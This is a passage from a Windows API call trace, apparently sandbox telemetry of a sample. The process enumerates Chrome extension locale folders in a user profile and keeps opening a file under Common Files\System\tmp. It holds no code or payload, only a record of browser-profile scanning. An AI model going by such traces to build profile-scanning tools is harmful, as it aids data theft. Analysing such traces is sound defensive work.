CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.282] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.282] GetFileType (hFile=0x128) returned 0x1 [0139.282] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.282] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.282] GetLastError () returned 0x12 [0139.283] AreFileApisANSI () returned 1 [0139.283] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.283] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.283] GetFileType (hFile=0x128) returned 0x1 [0139.283] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.329] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.329] GetLastError () returned 0x12 [0139.330] AreFileApisANSI () returned 1 [0139.330] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.330] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.330] GetFileType (hFile=0x128) returned 0x1 [0139.330] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.330] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.330] GetLastError () returned 0x12 [0139.330] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0139.331] GetLastError () returned 0x12 [0139.331] AreFileApisANSI () returned 1 [0139.331] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0139.331] GetFileType (hFile=0x194) returned 0x1 [0139.331] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x141, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0139.331] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0139.331] GetLastError () returned 0x12 [0139.331] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0139.331] GetLastError () returned 0x12 [0139.331] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0139.331] GetLastError () returned 0x12 [0139.332] AreFileApisANSI () returned 1 [0139.332] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0139.332] GetFileType (hFile=0x18c) returned 0x1 [0139.332] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x844bb8e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844c0700, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844c0700, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b8758, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0139.332] AreFileApisANSI () returned 1 [0139.332] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0139.332] GetFileType (hFile=0x190) returned 0x1 [0139.332] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8401b790, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844b1ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0139.333] AreFileApisANSI () returned 1 [0139.333] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0139.333] GetFileType (hFile=0x194) returned 0x1 [0139.333] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8402f010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8422fb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8422fb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x141, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0139.334] AreFileApisANSI () returned 1 [0139.334] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.334] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.334] GetFileType (hFile=0x128) returned 0x1 [0139.334] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84036540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8403b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8403b360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.334] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.334] GetLastError () returned 0x12 [0139.334] AreFileApisANSI () returned 1 [0139.334] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.334] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.335] GetFileType (hFile=0x128) returned 0x1 [0139.335] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x840512f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84056110, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84056110, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.375] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.376] GetLastError () returned 0x12 [0139.376] AreFileApisANSI () returned 1 [0139.376] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.376] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.376] GetFileType (hFile=0x128) returned 0x1 [0139.376] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84062460, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84067280, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84067280, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.376] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.376] GetLastError () returned 0x12 [0139.377] AreFileApisANSI () returned 1 [0139.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.377] GetFileType (hFile=0x128) returned 0x1 [0139.377] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8406e7b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8407f920, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8407f920, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.423] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.423] GetLastError () returned 0x12 [0139.423] AreFileApisANSI () returned 1 [0139.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.423] GetFileType (hFile=0x128) returned 0x1 [0139.423] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8408bc70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84090a90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84090a90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.423] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.424] GetLastError () returned 0x12 [0139.424] AreFileApisANSI () returned 1 [0139.424] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.424] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.424] GetFileType (hFile=0x128) returned 0x1 [0139.424] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84097fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8409cde0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8409cde0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.469] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.469] GetLastError () returned 0x12 [0139.469] AreFileApisANSI () returned 1 [0139.469] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.470] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.470] GetFileType (hFile=0x128) returned 0x1 [0139.470] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841147f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84116f00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84116f00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.470] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.470] GetLastError () returned 0x12 [0139.470] AreFileApisANSI () returned 1 [0139.470] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.470] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.471] GetFileType (hFile=0x128) returned 0x1 [0139.471] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8411bd20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84120b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84120b40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.517] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.517] GetLastError () returned 0x12 [0139.517] AreFileApisANSI () returned 1 [0139.517] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.517] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.518] GetFileType (hFile=0x128) returned 0x1 [0139.518] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8412a780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8412ce90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8412ce90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.518] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.518] GetLastError () returned 0x12 [0139.518] AreFileApisANSI () returned 1 [0139.518] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.518] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.518] GetFileType (hFile=0x128) returned 0x1 [0139.519] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84131cb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841343c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841343c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0139.564] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0139.564] GetLastError () returned 0x12 [0139.564] AreFileApisANSI () returned 1 [0139.564] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0139.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0139.564] GetFileType (hFile=0x128) returned 0x1 [0139.564] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841391e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8413b8f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8413b8f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 